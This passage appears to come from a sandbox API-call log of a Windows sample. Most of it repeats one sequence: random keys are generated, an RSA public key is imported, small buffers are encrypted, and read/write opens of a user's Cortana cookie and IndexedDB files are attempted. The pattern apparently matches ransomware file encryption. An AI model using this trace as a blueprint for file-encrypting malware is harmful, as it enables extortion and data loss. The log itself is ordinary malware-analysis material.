pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0211.887] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0211.887] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0211.889] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.890] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.890] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0211.890] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0211.890] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0211.892] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6489c00) returned 1 [0211.892] CryptGetKeyParam (in: hKey=0x6489c00, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0211.892] CryptEncrypt (in: hKey=0x6489c00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6de0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6de0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0211.892] GetLastError () returned 0x0 [0211.892] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0211.892] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0211.894] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6489c40) returned 1 [0211.894] CryptGetKeyParam (in: hKey=0x6489c40, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0211.894] CryptEncrypt (in: hKey=0x6489c40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6df0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6df0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0211.894] GetLastError () returned 0x0 [0211.894] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0211.894] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCookies\\QX3BSDJD.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\inetcookies\\qx3bsdjd.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0211.901] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0211.902] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.903] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.903] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0211.903] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0211.904] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0211.905] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.906] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.906] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0211.906] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0211.906] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0211.908] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6489cc0) returned 1 [0211.908] CryptGetKeyParam (in: hKey=0x6489cc0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0211.908] CryptEncrypt (in: hKey=0x6489cc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6e00000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6e00000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0211.909] GetLastError () returned 0x0 [0211.909] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0211.909] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0211.910] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6489e80) returned 1 [0211.913] CryptGetKeyParam (in: hKey=0x6489e80, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0211.913] CryptEncrypt (in: hKey=0x6489e80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6e10000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6e10000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0211.913] GetLastError () returned 0x0 [0211.913] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0211.913] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0211.913] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0211.915] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.916] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.916] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0211.916] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0211.916] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0211.917] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.918] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.918] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0211.918] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0211.919] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0211.921] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x648a400) returned 1 [0211.921] CryptGetKeyParam (in: hKey=0x648a400, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0211.921] CryptEncrypt (in: hKey=0x648a400, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6e20000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6e20000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0211.921] GetLastError () returned 0x0 [0211.921] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0211.921] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0211.923] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x648a4c0) returned 1 [0211.923] CryptGetKeyParam (in: hKey=0x648a4c0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0211.923] CryptEncrypt (in: hKey=0x648a4c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6e30000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6e30000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0211.924] GetLastError () returned 0x0 [0211.924] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0211.924] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb00037.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb00037.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0211.924] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0211.926] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.926] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.926] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0211.926] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0211.927] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0211.928] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.929] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.929] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0211.929] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0211.929] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0211.931] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x648a580) returned 1 [0211.931] CryptGetKeyParam (in: hKey=0x648a580, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0211.931] CryptEncrypt (in: hKey=0x648a580, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6e40000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6e40000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0211.931] GetLastError () returned 0x0 [0211.931] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0211.931] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0211.933] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x648a640) returned 1 [0211.933] CryptGetKeyParam (in: hKey=0x648a640, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0211.933] CryptEncrypt (in: hKey=0x648a640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6e50000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6e50000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0211.933] GetLastError () returned 0x0 [0211.933] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0211.933] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb00038.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb00038.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0211.934] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0211.935] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.937] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.937] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0211.937] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0211.937] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0211.938] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.939] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.939] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0211.939] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0211.939] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0211.941] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x648a7c0) returned 1 [0211.941] CryptGetKeyParam (in: hKey=0x648a7c0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0211.941] CryptEncrypt (in: hKey=0x648a7c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6e60000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6e60000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0211.942] GetLastError () returned 0x0 [0211.942] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0211.942] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0211.944] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x648a5c0) returned 1 [0211.944] CryptGetKeyParam (in: hKey=0x648a5c0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0211.944] CryptEncrypt (in: hKey=0x648a5c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6e70000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6e70000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0211.944] GetLastError () returned 0x0 [0211.944] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0211.944] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb00039.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb00039.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0211.944] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0211.946] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.947] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.947] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0211.947] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0211.947] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0211.949] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.951] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.952] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0211.952] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0211.953] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0211.956] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x648a600) returned 1 [0211.956] CryptGetKeyParam (in: hKey=0x648a600, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0211.956] CryptEncrypt (in: hKey=0x648a600, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6e80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6e80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0211.956] GetLastError () returned 0x0 [0211.956] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0211.956] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0211.958] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x648a180) returned 1 [0211.958] CryptGetKeyParam (in: hKey=0x648a180, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0211.958] CryptEncrypt (in: hKey=0x648a180, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6e90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6e90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0211.958] GetLastError () returned 0x0 [0211.959] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0211.959] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb0003A.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb0003a.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0211.959] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0211.960] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.961] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.961] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0211.961] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0211.961] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0211.963] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.964] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.964] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0211.964] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0211.964] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0211.966] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x648a100) returned 1 [0211.966] CryptGetKeyParam (in: hKey=0x648a100, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0211.966] CryptEncrypt (in: hKey=0x648a100, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ea0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ea0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0211.966] GetLastError () returned 0x0 [0211.966] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0211.966] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0211.968] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x648a140) returned 1 [0211.968] CryptGetKeyParam (in: hKey=0x648a140, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0211.968] CryptEncrypt (in: hKey=0x648a140, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6eb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6eb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0211.969] GetLastError () returned 0x0 [0211.969] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0211.969] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb0003B.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb0003b.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0211.969] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0211.970] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.971] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.971] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0211.971] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0211.971] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0211.973] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.974] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.974] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0211.974] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0211.974] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0211.976] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x648a800) returned 1 